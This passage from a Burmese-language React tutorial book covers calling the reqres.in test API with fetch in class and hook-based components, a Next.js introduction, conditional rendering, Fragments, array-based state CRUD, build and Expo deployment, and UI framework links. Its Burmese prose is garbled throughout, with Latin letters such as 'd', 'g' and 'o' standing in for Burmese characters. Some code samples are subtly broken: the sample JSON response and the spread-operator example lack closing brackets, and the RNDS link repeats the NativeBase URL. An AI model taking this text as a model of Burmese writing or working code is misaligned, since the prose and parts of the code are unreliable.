dသးပါzူး။  API  အdeကာင်းအdသးစိတ်ကို  dနာက်တစ်ပုိင်းကျdတာ့မှ  ဆက်eကည့်eကမှာပါ။
dလာdလာဆယ် အသင့်ရှိdနတဲ့  Test API  တစ်ခုကို  အသံုးgပုပြပီး  React  ပdရာZျက်ကdန zယ်လုိဆက်
သွယ် အသံုးgပုရသလဲ ဆိုတာကို doာ်gပသွားပါမယ်။

ပထမဆုံးအdနနဲ့ ဒီ Class Component ကို gပန်dလ့လာeကည့်ပါ။

 JavaScript/JSX 
class App extends React.Component {
    state = {
        users: [
            { id: 1, first_name: 'Alice' },
            { id: 2, first_name: 'Bob' },
        ]
    }

    render() {
        return (
            <ul>
                {this.state.users.map(u => 

<li key={u.id}>{u.first_name}</li>)}
            </ul>
        )
    }
}
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users ကို map() လုပ် doာ်gပထားတဲ့ Component dလးတစ်ခုပါပဲ။ 

Class Component dတွမှာ Life-Cycle Methods ဆိုတာ ရှိပါတယ်။ Component ကိုမdoာ်gပခင်မှာ zာ
လုပ်ရမယ်၊  doာ်gပပြပီးရင်  zာလုပ်ရမယ်၊  Component  ကို  oျက်လုိက်ရင်  zာလုပ်ရမယ်  စသgoင့်
သတ်မှတ်ထားနိုင်ပါတယ်။ အ့ဲဒီထဲ componentDidMount() ဆိုတဲ့ Life-cycle Method ကို အသံုးgပု
ပါမယ်။ Component ကို doာ်gပပြပီးတာနဲ့ ဒီ Method ကို React က အလုပ်လုပ်dပးသွားမှာပါ။ App Class
ထဲမှာ ဒီ Method ကို dရးdပးပါ။

 JavaScript/JSX 
componentDidMount() {
    fetch('https://reqres.in/api/users')

.then(res => res.json())

.then(json => {
        this.setState({ users: json.data });
    });
}

Test  API  URL  အdနနဲ့  reqres.in/api/users ကိုအသံုးgပုထားပါတယ်။  gပန်ရမယ့်  Response
Body ရဲ့ oဲွ့စည်းပံုက ဒီလုိgoစ်မှာပါ။

 JSON 
{
    "page": 2,
    "per_page": 6,
    "total": 12,
    "total_pages": 2,
    "data": [{
        "id": 7,
        "email": "michael.lawson@reqres.in",
        "first_name": "Michael",
        "last_name": "Lawson"
    }, {
        "id": 8,
        "email": "lindsay.ferguson@reqres.in",
        "first_name": "Lindsay",
        "last_name": "Ferguson"
    }
}

https://reqres.in/api/users
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page, per_page, total စသgoင့်  Meta Information  လဲပါသလုိ နမူနာ  User  စာရင်းကိုလည်း
data အdနနဲ့  ထည့်dပးထားပါတယ်။ ဒီ  API  ကို  Request  gပုလုပ်o့ုိအတွက်  fetch() JavaScript
Function ကို အသံုးgပု ထားပါတယ်။ အရင်ကdတာ့ အခုလုိ API Request dတွအတွက် Ajax တို့  jQuery
တို့ကို အသံုးgပုရပါတယ်။ အခုdတာ့ မလုိdတာ့ပါzူး။ JavaScript မှာ ပါဝင်လာတဲ့ fetch() Function
နဲ့တင် အဆင်dgပသွားပါပြပီ။

fetch() Function က API URL ကို  Argument အdနနဲ့ dပးရပြပီး  Promise တစ်ခုကို  Response gပန်
dပးပါတယ်။  Request/Response Error  dတရွှိရင်  reject လုပ်မှာgoစ်ပြပီး၊  Error  မရှိရင်dတာ့  resolve
လုပ်dပးမှာပါ။ နမူနာမှာ gပန်ရလာမယ့် Response ကို လက်ခံပြပီး  JSON dgပာင်းပါတယ်။ dgပာင်းထားတဲ့
JSON ရဲ့ data ကို state ရဲ့ users အgoစ် သတ်မှတ်လုိက်တဲ့အတွက် API က gပန်dပးတဲ့ User စာရင်း
ကို Component က doာ်gပdပးသွားမှာ goစ်ပါတယ်။

Function Component  dတွမှာ  Life-Cycle Methods  dတွမရှိလုိ့  အရင်က အခုလုိ  API  dတzွာdတွနဲ့
ချတိ်သံုးလ့ုိ အဆင်မdgပပါzူး။ ဒါdပမယ့် အခုdတာ့  Hook dတွပါဝင်လာတဲ့အတွက် အဆင်dgပသွားပါပြပီ။
dစာdစာက Component ကို Function နဲ့ dရးမယ်ဆိုရင် ဒီလိdုရးရမှာပါ။
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 JavaScript/JSX 
import React, { useState, useEffect } from "react";
const App = props => {
    const [ users, setUsers ] = useState([]);
    useEffect(() => {
        fetch('https://reqres.in/api/users?page=2')

.then(res => res.json())

.then(json => {
          setUsers(json.data);
        });
    }, []);

    return (
        <ul>
            {users.map(u => <li key={u.id}>{u.first_name}</li>)}
        </ul>
    );
}

export default App;

Import  ကdန  Export  ထိ ကုဒ်အgပည့်စုံdပးထားပါတယ်။  useEffect လ့ုိdခါ်တဲ့  Hook  ကို  Import
လုပ်ထားတာကို မသိလုိက်မှာ စိုးလို့ပါ။ Component ကုဒ်မှာ useEffect() Hook ကို အသံုးgပုပြပီး API
ကို  လှမ်းdခါ်ထားပါတယ်။  useEffect() အတွက်  Argument  နှစ်ခု  dပးထားပါတယ်။  ပထမ
Argument  က  Function  တစ်ခုgoစ်ပြပီး  Component  ကိုdoာ်gပပြပီးတဲ့အခါ  ဒီ  Function  ကို
useEffect() က Run  dပးမှာပါ။ ဒုတိယ Argument  ကdတာ့ zယ်အချနိ်မှာ  useEffect() ကို
ထပ် Run dပးရမှာလဲဆိုတာကို သတ်မှတ်dပးတာပါ။  နမူနာမှာ Array အလွတ်ကို dပးထားလ့ုိ ထပ် Run
စရာမလိုzူးဆိုတဲ့ သdzာပါ။ ဒါdeကာင့် Component ကို doာ်gပပြပီး တစ်ကြကိမ်တည်းပဲ useEffect()
အလုပ်လုပ်မှာ goစ်ပါတယ်။

dနာက်ထပ်နမူနာအdနနဲ့ add() လုပ်dဆာင်ချက်ကို ထပ်goည့်eကည့်ပါမယ်။ ဒီလုိdရးရပါတယ်။

https://reqres.in/api/users?page=2
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 JavaScript/JSX 
const add = () => {
    fetch('https://reqres.in/api/users', {
        method: 'POST',
        headers: {
            'content-type': 'application/json'
        },
        body: JSON.stringify({ first_name: 'Tom' })
    }).then(res => res.json()).then(tom => {
        setUsers([ ...users, tom ]);
    });
}

ဒီတစ်ခါdတာ့  fetch() အတွက်  Argument  နှစ်ခု  goစ်သွားပါပြပီ။ ပထမ  Argument  က  API URL  ပါ။
ဒုတိယ Argument ကdတာ့ Request Options dတွပါ။ Request Method ကို POST လ့ုိ သတ်မှတ်ထား
ပါတယ်။ Header Content Type ကို  application/json လ့ုိသတ်မှတ်ထားပါတယ်။ ကျွန်dတာ်တို့
လက်ရှိသံုးdနတဲ့ Test API အပါအဝင် API အများစုက ဒီလုိ Content Type  ပါလာမှပဲ လက်ခံeကပါတယ်။
Request  Body  က  String  goစ်ရမှာပါ။  ဒါdeကာင့်  JSON.stringify() နဲ့  dပးပ့ုိချင်တဲ့  Data  ကို
String dgပာင်းပြပီး သတ်မှတ်dပးထားပါတယ်။

Request  dအာင်gမင်ရင်dတာ့  gပန်ရလာတဲ့  Response  ကို  state ထဲမှာ  ထပ်တိုးdပးလိုက်မှာပဲ  goစ်ပါ
တယ်။  gပန်dလ့လာချင်ရင်  အစအဆုံး  gပန်dလ့လာနိုင်o့ုိအတွက်  dရးရမယ့်  ကုဒ်အgပည့်အစုံကို  ထပ်ပြပီး
dတာ့ doာ်gပdပးလုိက်ပါတယ်။

 JavaScript/JSX 
import React, { useState, useEffect } from "react";

const App = props => {
    const [ users, setUsers ] = useState([]);
    useEffect(() => {
        fetch('https://reqres.in/api/users')

.then(res => res.json())

.then(json => {
setUsers(json.data);

        });
    }, []);

https://reqres.in/api/users
https://reqres.in/api/users
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    const add = () => {
        fetch('https://reqres.in/api/users', {
            method: 'POST',
            headers: {
                'content-type': 'application/json'
            },
            body: JSON.stringify({ first_name: 'Tom' })
        }).then(res => res.json()).then(tom => {
            setUsers([ ...users, tom ]);
        });
    }

    return (
        <div>
            <ul>
                {users.map(u => 

<li key={u.id}>{u.first_name}</li>)}
            </ul>
            <button onClick={add}>New User</button>
        </div>
    );
}

export default App;

React Native  ပdရာZျက်dတွမှာလည်း ဒီနည်းနဲ့ပံု  API  dတွနဲ့  ချတိ်ဆက် အသံုးgပုရပါတယ်။ ဒီdလာက်
dလ့လာထားလုိက်ရင် API အdeကာင်း တီးမီးdခါက်မိရှိသူ တစ်dယာက်အdနနဲ့ Update Request, Delete
Request စသgoင့် ကျန်dနတဲ့ Request အမျ ို းအစားdတွကို ဆက်လက်gပုလုပ်သွားနိုင်မှာပါ။

https://reqres.in/api/users
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အခန်း (၆၄) – Next.js

Next.js  ဆိုတာ  React  အတွက်  Server-side  rendering  နည်းပညာ  တစ်ခုပါ။  ရိုးရိုး  React  မှာ
Component တည်dဆာက်ပုံ၊ doာ်gပပံု၊ dgပာင်းလဲပံုdတွ အကုန်လံုးက Browser ထဲမှာပဲ လုပ်သွားတာပါ။
Next.js မှာdတာ့ Component   တည်dဆာက်တဲ့ ကိစ္စကို   Server-side   မှာ လုပ်ပြပီး dနာက်ဆုံးရလဒ်ကိုသာ  
Browser   ကို dပးပ့ုိdoာ်gပdစမှာပါ  ။

စတင်စမ်းသပ် အသံုးgပုနိုင်o့ုိအတွက် ပdရာZျက်oုိဒါတစ်ခု မိမိzာသာ တည်dဆာက်ပါ။ အ့ဲဒီ ပdရာZျက်
oုိဒါထဲမှာ React နဲ့ Next.js တို့ကို အခုလုိ Install လုပ်dပးရပါမယ်။

npm init -y
npm i react react-dom next

npm init -y ရဲ့ အဓိပ္ပါယ်က ဒီoုိဒါကို NPM Package တစ်ခုအgoစ် deကညာလိုက်တာပါ။ ပdရာZျက်
oုိဒါထဲမှာ  package.json ဆိုတဲ့  oုိင်တစ်ခု  ဝင်သွားပြပီး  name,  version,  license စတဲ့
အချက်အလက်dတွ ပါဝင်ပါလိမ့်မယ်။ ဆန္ဒရှိရင် ကိုယ့်zာသာ oွင့်gပင်လို့ ရပါတယ်။ အရင်က create-
react-app ကိုသံုးdနလ့ုိ react တို့ react-dom တို့ကို ကိုယ်တိုင် Install လုပ်စရာမလုိတာပါ။ အခု
dတာ့ ထည့်ပြပီး Install လုပ်ထားပါတယ်။ next ကိုလည်း Install လုပ်ထားပါတယ်။ အခုလုိ Run eကည့်
လ့ုိ ရပါတယ်။

npx next
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ရလဒ်က အခုလုိပုံစံgoစ်မှာပါ။

zာကုဒ်မှ  မdရးရdသးတဲ့အတွက်  404  gပdနတာပါ။  ကုဒ်dတစွdရးနိုင်o့ုိအတွက်  ပdရာZျက်oိုဒါထဲမှာပဲ
pages     အမည်နဲ့  oုိဒါတစ်ခု  ထပ်dဆာက်dပးပါ  ။  ပြပီးရင်  Home  Page  တစ်ခု  သတ်မှတ်တဲ့အdနနဲ့
index.js အမည်နဲ့ ကုဒ်oုိင်တစ်ခုကိ pages     oုိဒါထဲမှာ   အခုလို dရးပြပီးစမ်းeကည့်နိုင်ပါတယ်။

 JavaScript/JSX 
const Home = props => {
    return (
        <div>
            <h1>Welcome to Next.js</h1>
            <ul>
                <li>Alice</li>
                <li>Bob</li>
            </ul>
        </div>
    )
}

export default Home;
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ရိုးရိုး React Component တစ်ခုပါပဲ။ React ကို Import လုပ်စရာ မလုိတာကိုdတာ့ သတိgပုပါ။ ရလဒ်က
ရိုးရိုး  React  နဲ့ အတူတူပါပဲ။ ရလဒ်gခင်းအတူတူ အရင်က Browser ထဲမှာပဲ အလုပ်လုပ်ပြပီး gပတာနဲ့ အခု
က  Server  Render  လုပ်ပြပီး  dနာက်ဆုံးရလဒ်  သက်သက်ကိုသာ  doာ်gပသွားတာပါ။  dနာက်ထပ်
about.js အမည်နဲ့ ကုဒ်oုိင်တစ်ခုdလာက် pages     oုိဒါထဲမှာ   ပဲ ထပ်dရးdပးပါ။

 JavaScript/JSX 
import Link from 'next/link';
const About = props => {
    return (
        <div>
            <Link href="/">
                <a>Home</a>
            </Link>
            <h1>About Next.js</h1>
            <p>Next.js - Server-side rendering for React.</p>
        </div>
    )
}

export default About;

ထူးgခားချက်အdနနဲ့  Link ကို  Import  ထားတာကို သတိgပုပါ။ ပြပီးတဲ့အခါ  <Link> Component  ကို
လည်း  အသံုးgပုထားပါတယ်။  href အdနနဲ့  / ကိုdပးထားလ့ုိ  Home  ဆိုတဲ့အဓိပ္ပါယ်ပါ။
တစ်နည်းအားgoင့် index.js ကို ညွှန်းထားတာပါ။ သ့ူအထဲက <a> Element မှာdတာ့ href ထပ်dပး
စရာ မလုိdတာ့ပါzူး။ စမ်းeကည့်နိုင်o့ုိ Browser URL Bar မှာ အခုလုိ ကိုယ်zာသာ ရိုက်ထည့်လုိက်ပါ။

http://  localhost:3000/about  

ရလဒ်က ဒီလုိgoစ်မှာပါ။

http://localhost:3000/about
http://localhost:3000/about
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Home ကို သွားလ့ုိရတဲ့  Link  တစ်ခုပါပြပီး နှိပ်လိုက်ရင်  Home Page  ကို gပန်dရာက်သွားတယ် ဆိတုာကို
dတွ့ရနိုင်ပါတယ်။ ပုိအဆင်dgပသွားdအာင်  Nav.js အမည်နဲ့  oုိင်တစ်ခုကို  pages  oုိဒါထဲမှာပဲ ဒီလုိdရး
dပးပါ။

 JavaScript/JSX 
import Link from 'next/link';
const Nav = props => {
    return (
        <ul>
            <li><Link href="/"><a>Home</a></Link></li>
            <li><Link href="/about"><a>About</a></Link></li>
        </ul>
    );
};

export default Nav;

ဒါဟာ Home (index.js)  နဲ့  About (about.js)  တို့ကို  အgပန်အလှန် သွားလ့ုိရတဲ့  Menu  တစ်ခု goစ်သွား
တာပါ။ သ့ူကို index.js နဲ့ about.js တို့က အခုလို dခါ်သံုးလ့ုိရပါတယ်။
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 JavaScript/JSX 
// index.js
import Nav from './Nav';
const Home = props => {
    return (
        <div>
            <Nav />
            <h1>Welcome to Next.js</h1>
            <ul>
                <li>Alice</li>
                <li>Bob</li>
            </ul>
        </div>
    )
}

export default Home;

 JavaScript/JSX 
// about.js
import Nav from './Nav';
const About = props => {
    return (
        <div>
            <Nav />
            <h1>About Next.js</h1>
            <p>Next.js - Server-side rendering for React.</p>
        </div>
    )
}

export default About;

ပုိgပည့်စုံသွားdအာင်  အ့ဲဒီ  Nav  Menu  ကို  Header  Layout  Component  dလးနဲ့  gပo့ုိအတွက်
Header.js အမည်နဲ့ oုိင်တစ်ခုကို pages oုိဒါထဲမှာပဲ ထပ်dဆာင်ပြပီး ဒီကုဒ်ကို dရးပါမယ်။
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 JavaScript/JSX 
const styles = {
    header: {
        padding: 10,
        background: 'cyan'
    }
}

const Header = props => {
    return (
        <div style={styles.header}>
            {props.children}
        </div>
    )
}

export default Header;

zာမှမဟုတ်ပါzူး။ props.children ကို <div> တစ်ခုနဲ့ style dတွzာdတွနဲ့  ထည့်gပလုိက်တာ
ပါပဲ။ သ့ူကို အသံုးgပုoို့ဆိုရင် index.js ရဲ့ ကုဒ်oဲွ့စည်းပံုက ဒီလုိgoစ်သွားပါလိမ့်မယ်။

 JavaScript/JSX 
import Header from './Header';
import Nav from './Nav';
const Home = props => {
    return (
        <div>
            <Header>
                <Nav />
            </Header>
            <h1>Welcome to Next.js</h1>
            <ul>
                <li>Alice</li>
                <li>Bob</li>
            </ul>
        </div>
    )
}

export default Home;
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ဒါပါပဲ။ ဒီနည်းနဲ့ Next.js ကို အသံုးgပုပြပီး Page dတွdဆာက်လ့ုိရမယ်။ Component dတွ ခွဲထားပြပီး လုိတဲ့
အခါ ယူသံုးလုိ့ရမယ်။ Layout Component dတzွာdတွ oန်တီးချင်ရင်လည်းရမှာgoစ်ပါတယ်။ React ကို
သိထားပြပီးသူdတွအတွက် ခက်ခက်ခဲခဲ ထပ်dလ့လာစရာ မလိုzဲ အသံုးgပုနိုင်dစမယ့် နည်းပညာတစ်ခုပါ။

URL Parameter လုိ ကိစ္စdတွကျန်dသးသလုိ၊ Next.js ကို အသံုးgပုပြပီး API တည်dဆာက်နိုင်ပံုdတွ ကျန်ပါ
dသးတယ်။ အခု ထည့်မdgပာdတာ့ပါzူး။ ထံုးစံအတိုင်း လုိအပ်တဲ့အခါ ကိုယ်တိုင်ဆက်dလ့လာမယ်ဆိုရင်
React သာ deကညက်ပါdစ၊ အလွယ်တစ်ကူ ဆက်dလ့လာသွားလုိ့ ရနိုင်ပါလိမ့်မယ်။
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အခန်း (၆၅) – React Extras

dရှ့ အခန်းdတွမှာ အdeကာင်းdeကာင်းdeကာင့် ထည့်မdoာ်gပgoစ်ခဲ့dပမယ့် ထည့်သွင်းသတိgပုသင့်တာdလး
တစ်ချ ို ့ကို လက်စသတ် doာ်gပdပးချင်ပါတယ်။

Conditional Rendering
React  Component  dတွမှာ  Loop  dတွလုပ်o့ုိ  map() တို့  filter() တို့ကို  သံုးခဲ့eကပါတယ်။
အdgခအdနdပါ် မူတည်ပြပီး  အလုပ်လုပ်o့ုိအတွက်dတာ့  if() Statement လ့ုိ  dရးထံုးမျ ို းကို  ထည့်သွင်း
doာ်gပခဲ့gခင်း  မရှိပါzူး။  ထည့်dရးလ့ုိလည်း  မရပါzူး။  if() Statement  အစား  လုိအပ်တဲ့အခါ
အdgခအdနdပါ် မူတည်doာ်gပ dစလုိရင်  Ternary Operator  ကို အသံုးgပုနိုင်ပါတယ်။  condition ?
true : false ဆိုတဲ့  dရးထံုးပါ။  Condition  dနာက်က  Question  Mark  လုိက်ရပြပီး  True  ဆိုရင်
Question Mark dနာက်က အလုပ်ကို လုပ်မယ်။ False ဆိုရင်dတာ့  Colon dနာက်က အလုပ်ကို လုပ်မှာ
goစ်ပါတယ်။  ဒီdရးထံုးက  Language  အများစုမှာပါသလုိ  JavaScript  မှာလည်း  ပါပါတယ်။  React
Component dတွမှာ ဆိရုင်dတာ့ ဒီလုိgoစ်မှာပါ။

 JavaScript/JSX 
<div>

{ 
type === 1
? <Button primary>Button</Button>
: <Button secondary>Button</Button>

}
</div>
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Ternary Operator ကိုပဲ oတရ်လဲွdအာင် ခွဲdရးလုိက်တာပါ။ နမူနာအရ type တန်oုိး 1 ဆိုရင် <Button>
ကို  primary props  နဲ့  doာ်gပပြပီး မဟုတရ်င်dတာ့  secondary props  နဲ့  doာ်gပdစထားတာ goစ်ပါ
တယ်။ ဒီနည်းနဲ့ အdgခအdနdပါ်မူတည်ပြပီး gပdစချင်တာdတွကို စစ်ပြပီးမှ gပလ့ုိ ရပါတယ်။

Fragments
Component dတွ တည်dဆာက်တဲ့အခါ Element တစ်ခုတည်းကိုသာ Return gပန်dပးရတယ်လ့ုိ dgပာခဲ့
ပါတယ်။ ဒါdeကာင့် နှစ်ခုသုံးခုရှိလာတဲ့အခါ <div> တစ်ခုနဲ့  စုပြပီးdတာ့ gပန်dပးeကပါတယ်။ <div> မသံုး
ချင်ရင် React ရဲ့ Fragment လ့ုိdခါ်တဲ့ လုပ်dဆာင်ချက်ကို သုံးနိုင်ပါတယ်။ dရးနည်း နှစ်နည်း ရှိပါတယ်။
ဒီလုိပါ -

 JavaScript/JSX 
const App = props => {

return (
<React.Fragment>

<h1>Title</h1>
<p>Content</p>

</React.Fragment>
);

}

 JavaScript/JSX 
const App = props => {

return (
<>

<h1>Title</h1>
<p>Content</p>

</>
);

}

<React.Fragment> ကို  သံုးလ့ုိရသလုိ zာမှမပါတဲ့  <> ကိုလည်း အတိုdကာက်အdနနဲ့  သံုးလ့ုိရတဲ့
သdzာပါ။
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state CRUD
dနာက်တစ်ခုအdနနဲ့  state Data dတွ စီမံတဲ့အခါ map() နဲ့  filter() ကို  Create, Read, Update,
Delete လုပ်ငန်းdတွအတွက် အသံုးgပုနိုင်ပံုကို doာ်gပdပးပါမယ်။ ဒါကdတာ့ React နဲ့ တိုက်ရိုက်ဆိုင်တာ
မျ ို း မဟုတ်zဲ dရးထံုးပုိင်းဆိုင်ရာ အကြကံgပုချက် တစ်ခုပါ။ ဥပမာ - ဒီလို Data ရိှတယ်ဆိုeကပါစို့။

 JavaScript 
const users = [

{ id: 1, name: 'Alice', age: 22 },
{ id: 2, name: 'Bob', age: 23 },

];

ဒီထဲက name dတွကိုချည်းပဲ လုိချင်တယ်ဆိုရင် အခုလို ယူလ့ုိရနိုင်ပါတယ်။

 JavaScript 
const names = users.map(u => u.name); // => [ Alice, Bob ]

တစ်ခတုည်းကို လုိချင်တယ်ဆိုရင် အခုလုိ ယူလ့ုိရနိုင်ပါတယ်။

 JavaScript 
const bob = users.filter(u => u.id === 2);
// => [{ id: 2, name: 'Bob', age: 23 }]

အသစ်ထပ်တိုးချင်ရင်  Spread Operator  အကူအညီနဲ့  အလွယ်တစ်ကူ တိုးလို့ရပါတယ်။ ဒါကိုdတာ့ dရှ့
ပုိင်းမှာလည်း  ခဏနေခဏနေ  dတွ့ခဲ့ပြပီးသားပါ။  တစ်ခုပဲ  သတိထားပါ၊  မူလ  Data  ထဲမှာ  ထပ်တိုးလိုက်တာ
မဟုတ်ပါzူး။ ထပ်တိုးထားတဲ့ Data အသစ်ကို gပန်dပးတာပါ။

 JavaScript 
const result = [ ...users, { id: 3, name: 'Tom', age: 24 };
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gပန်oျက်ချင်တယ်ဆိုရင်  filter() နဲ့ပဲ oျက်လ့ုိရပါတယ်။ ဒီမှာလည်း သတိထားပါ။ မူလ Data  ထဲက
oျက်တာ မဟုတ်ပါzူး။ oျက်ထားတဲ့ Data Set အသစ်ကို gပန်dပးတာပါ။

 JavaScript 
const result = users.filter(u => u.id !== 2);

id: 2 တန်oုိးရှိတဲ့  user ကို ချန်ပြပီး ကျန်တာdတွ Filter လုပ်ယူမယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။  Update လုပ်
ချင်ရင်dတာ့ map() ကိုပဲ အသံုးgပုနိုင်ပါတယ်။

 JavaScript 
const result = users.map(u => {

if(u.id === 1) u.age = 21;
return u;

});

id: 1 တန်oုိးရှိတဲ့  user ရဲ့  age ကို  21 လ့ုိgပင်လုိက်တာပါ။  ဒီdရးနည်းdတွကို  အရမ်းအသံုးဝင်ပါ
တယ်။  state Data  dတွကို  Create, Read, Update, Delete  လုပ်ငန်းdတွ လုပ်o့ုိလိုတိုင်း ဒီdရးနည်း
dတွကိုသာ အသုံးgပုo့ုိ အကြကံgပုပါတယ်။ 

Build System
React  ကုဒ်dတွကိုdရးo့ုိအတွက်  ပdရာZျက်ကို  create-react-app နဲ့  တည်dဆာက်ပါတယ်။
create-react-app က zာdတွလုပ်dပးသွားတာလည်း သိချင်တယ်ဆိုရင် သ့ူကိုမသံုးzဲ အလားတူ
စနစ်တစ်ခုကို ကိုယ်zာသာတစ်ခုdလာက် အစအဆုံး တည်dဆာက်eကည့်သင့်ပါတယ်။ ဒီစာအုပ်မှာdတာ့
ထည့်မdgပာdတာ့ပါzူး။ ဒီလိပ်စာမှာ dရးပြပီးတင်ထားdပးပါတယ်။ dလ့လာeကည့်o့ုိ တိုကတ်ွန်းပါတယ်။

- https://gist.github.com/eimg/50832314c7bfbc8d46ed65c44b9d76b5

https://gist.github.com/eimg/50832314c7bfbc8d46ed65c44b9d76b5
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Deployment
React နဲ့ ကုဒ်dတွdရးပြပီးdနာက် အများသံုးo့ုိစdပးdတာ့မယ်ဆိုရင် ဒီ Command dလး Run လုိက်ယံုပါပဲ။

npm run build

ဒါဆိုရင်  create-react-app ပdရာZျက်ထဲမှာ  build ဆိုတဲ့အမည်နဲ့  oုိဒါတစ်ခု  ဝင်သွားပါလိမ့်
မယ်။ လုိအပ်တာ အားလံုးပါဝင်ပြပီး အသင့်သံုး oုိင်နယ်ရလဒ်ကို ရိုးရိုး   HTML, CSS, JavaScript   အdနနဲ့ ရ  
ပါတယ်။ အသံုးgပုနိုင်oို့  React  လည်း ထပ်ထည့်စရာ မလုိပါzူး။  NPM  dတzွာdတွလည်း မလုိdတာ့ပါ
zူး။ အ့ဲဒီ  build oုိဒါထဲက oုိင်dတွကို  Publish  လုပ်လုိက်ယံုပါပဲ။  React Native  မှာဆိုရင်dတာ့ အရင်
ဆုံး ပdရာZျက်oုိဒါထဲက app.json မှာ App အမည်တို့  Version နံပါတ်တို့ကို စိတ်တိုင်းကျ gပင်ပါ။ ပြပီး
ရင် ဒီ Command dတွကို Run dပးလုိက်ရင် ရပါပြပီ။

expo build:android
expo build:ios

ဒါdပမယ့် Mobile App dတွ Build လုပ်ရတာက နည်းနည်းအလုပ်ရှုပ်ပါတယ်။ Play Store တို့ App Store
တို့မှာ  တင်လို့ရo့ုိအတွက်  dနာက်ဆက်တွဲ  လုပ်dပးရမှာdတွ  ရိှလာနိုင်လ့ုိ  အdသးစိတ်ကို  ဒီမှာ  ဆက်
dလ့လာရမှာပါ။

- https://docs.expo.io/versions/latest/distribution/building-standalone-apps/

Expo နဲ့ ပက်သက်ရင် သတိgပုသင့်တာကdတာ့ Build လုပ်လုိက်တဲ့အခါ UI နဲ့  JavaScript Bundle dခါ်
dနာက်ကွယ်က  အလုပ်လုပ်တဲ့ကုဒ်ကို  ခွဲgမင်o့ုိ  လုိပါတယ်။  UI  ကိုသာ  App  အdနနဲ့  ထုတ်လုိက်ပြပီး
JavaScript  Bundle  ကိုdတာ့  Expo  ရဲ  CND  Cloud  Server  dပါ်မှာ  တင်dပးလုိက်မှာပါ။  ဒါdeကာင့်
dနာက်ပုိင်း  ကုဒ်dတွ  gပင်လိုက်ရင်  User  က  App  ကို  Update  လုပ်စရာမလုိzဲ  gပင်ဆင်မှုကို  အလုိအ
dလျှာက် ရရှိနိုင်ပါတယ်။ အလုပ်လုပ်ပံုအdသးစိတ်ကိုdတာ့ ဒီမှာ ဆက်dလ့လာနိုင်ပါတယ်။

- https://docs.expo.io/versions/latest/workflow/how-expo-works/

https://docs.expo.io/versions/latest/workflow/how-expo-works/
https://docs.expo.io/versions/latest/distribution/building-standalone-apps/
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UI Frameworks
ဒီစာအုပ်မှာသာ  အdgခခံdတွနားလည်dအာင်  doာ်gပခဲ့dပမယ့်  လက်dတွ့မှာ  Component  အားလံုးကို
ကိုယ်တိုင် dရးစရာမလုိပါzူး။ အသင့်သံုး UI Framework dတွ ရိှပါတယ်။ UI Framework dတွက dပးတဲ့
အသင့်သံုး  Component dတွကို dပါင်းစပ်ပြပီးdတာ့ ကိုယ်လုိချင်တဲ့  App ကို အလွယ်တကူ တည်dဆာက်
နိုင်ပါတယ်။

လက်ရှိဒီစာdရးdနချနိ်အထိ  React  အတွက် အသံုးအများဆုံး  UI Framework  dတကွdတာ့  Material UI
နဲ့ Ant UI တို့goစ်ပါတယ်။

- Material UI - https://material-ui.com/
- Ant UI - https://ant.design/

React  Native  အတွက်ဆိုရင်dတာ့  React  Native Element,  Native Base  နဲ့  React  Native Design
System (RNDS) တိုရ့ှိပါတယ်။

- Elements - https://react-native-elements.github.io/react-native-elements/
- Native Base - https://nativebase.io/
- RNDS - https://nativebase.io/

dလ့လာeကည့်ပါ။ အသံုးgပုရ လွယ်ကူပြပီး အများကြကီး အသုံးဝင်တယ်ဆိုတာကို dတွ့ ရပါလိမ့်မယ်။

ဆက်လက်ပြပီးdတာ့ API နဲ့ပက်သက်တဲ့အdeကာင်းအရာdတွ doာ်gပdပးသွားပါမယ်။

https://nativebase.io/
https://nativebase.io/
https://react-native-elements.github.io/react-native-elements/
https://ant.design/
https://material-ui.com/


အပိမေုင်း (၇)
API
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အခန်း (၆၆) – A P I  ဆိမေသုည်�ှာ

ကွန်ပျူတာပရိုZရမ်dတွကို Software နဲ့ Service ဆိုပြပီးdတာ့ အုပ်စု (၂) စု ခွဲeကည့်eကရdအာင်။ 

Software ဆိုတဲ့ထဲမှာ System Software, Desktop Solution, Web Application, Mobile App စသgoင့်
အမျ ို းမျ ို းရှိသလုိ၊ လုပ်ငန်းသံုး  Software  နဲ့ လူသံုး  Software  ဆိုပြပီးdတာ့လည်း ကွဲgပားနိုင်ပါdသးတယ်။
zယ်လုိပဲ ကွဲgပားdနပါdစ Software လ့ုိdgပာရင် အသံုးgပုသူ လူgoစ်တဲ့ User က ထိdတွ့အသံုးgပုလ့ုိ ရတဲ့
အရာdတွလ့ုိ  ဆိုနိုင်ပါတယ်။ ဒီအပုိင်းမှာ  dgပာချင်တာက အ့ဲဒီ  Software  dတွအdeကာင်း  မဟုတ်ပါzူး။
Service dတွအdeကာင်း dgပာမှာပါ။

Service   ဆိုတာကdတာ့ လူgoစ်တဲ့   User   က ထိdတွ့အသံုးgပုမှာ မဟုတ်zဲ၊ အgခားကွန်ပျူတာပရိုZရမ်dတွ  
က အသံုးgပုမယ့် အရာdတွပါ။ ပရိုZရမ်  A  က ပရိုZရမ်  B  ကို ဆက်သွယ်အသံုးgပုပြပီး အလုပ်လုပ်dနပြပီဆို
ရင် ပရိုZရမ်  B  ဟာ Service  goစ်သွားပါပြပီ။ သူကို လူကသုံးတာ မဟုတ်zဲ အgခားပရိုZရမ်က ဆက်သွယ်
ပြပီး သံုးdနတာမုိ့လ့ုိပါ။

ဒီdတာ့  Service  တစ်ခုoန်တီးo့ုိဆိုရင် အdရးပါလာတာက ဆက်သွယ်dရးနည်းပညာပါ။ တgခား ပရိုZရမ်
dတွက  ဆက်သွယ်ပြပီး  အသံုးgပုနိုင်oုိ့ဆိုရင်  ဆက်သွယ်dရးနည်းပညာတစ်ခုကို  eကားခံလိုအပ်ပါတယ်။
HTTP, FTP, POP/SMTP, XMPP  စသgoင့် ဆက်သွယ်dရး နည်းပညာdတွ အမျ ို းမျ ို း ရိှပါတယ်။ သူတို့ရဲ့
အdပါ်မှာ  XML-RPC,  SOAP  စသgoင့်  dနာက်ထပ်ဆက်သွယ်dရး  နည်းပညာdတွ  ရိှeကပါdသးတယ်။
အကျယ်dတွdတာ့  ချဲ့မdနdတာ့ပါzူး။  လုိရင်းပဲdgပာပါမယ်။  ဒီလုိနည်းပညာ  အမျ ို းမျ ို းရှိdနတဲ့အထဲက
ကdန့dခတ်မှာ    Service    dတွoန်တီးoို့  အကျယ်gပန်ဆုံး  အသံုးgပုတဲ့  ဆက်သွယ်dရးနည်းပညာ  ကdတာ့  
